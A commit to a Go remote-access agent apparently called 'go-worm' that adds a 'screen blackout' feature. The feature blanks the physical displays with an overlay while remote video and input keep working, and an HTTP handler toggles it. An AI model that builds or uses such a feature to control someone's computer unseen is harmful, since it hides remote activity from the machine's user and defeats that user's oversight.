feat(agent): add screen blackout feature

- Physical displays blanked via overlay
- Remote video and input keep working
- Exclude overlay from screen capture
- Add blackout API and UI toggle
- Wire flag through capture protocol
This commit is contained in:
2026-09-02 13:32:21 +03:00
parent 45f345123d
commit 149fcde379
16 changed files with 557 additions and 28 deletions
+29
View File
@@ -14,6 +14,7 @@ import (
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/blackout"
"tea.chunkbyte.com/kato/go-worm/lib/capture"
"tea.chunkbyte.com/kato/go-worm/lib/command"
"tea.chunkbyte.com/kato/go-worm/lib/config"
@@ -409,9 +410,37 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top))
w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width))
w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height))
if blackout.Enabled() {
w.Header().Set("X-Screen-Blackout", "1")
}
_, _ = w.Write(frame.Data)
}
func (a *Agent) handleBlackout(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
case http.MethodPut:
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
defer r.Body.Close()
var body struct {
Enabled *bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Enabled == nil {
helpers.WriteError(w, http.StatusBadRequest, "enabled is required")
return
}
if err := blackout.Set(*body.Enabled); err != nil {
helpers.Log.Printf("blackout: %v", err)
helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
default:
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
}
}
func parseMicDevice(r *http.Request) (int, error) {
device := 0
if raw := r.URL.Query().Get("device"); raw != "" {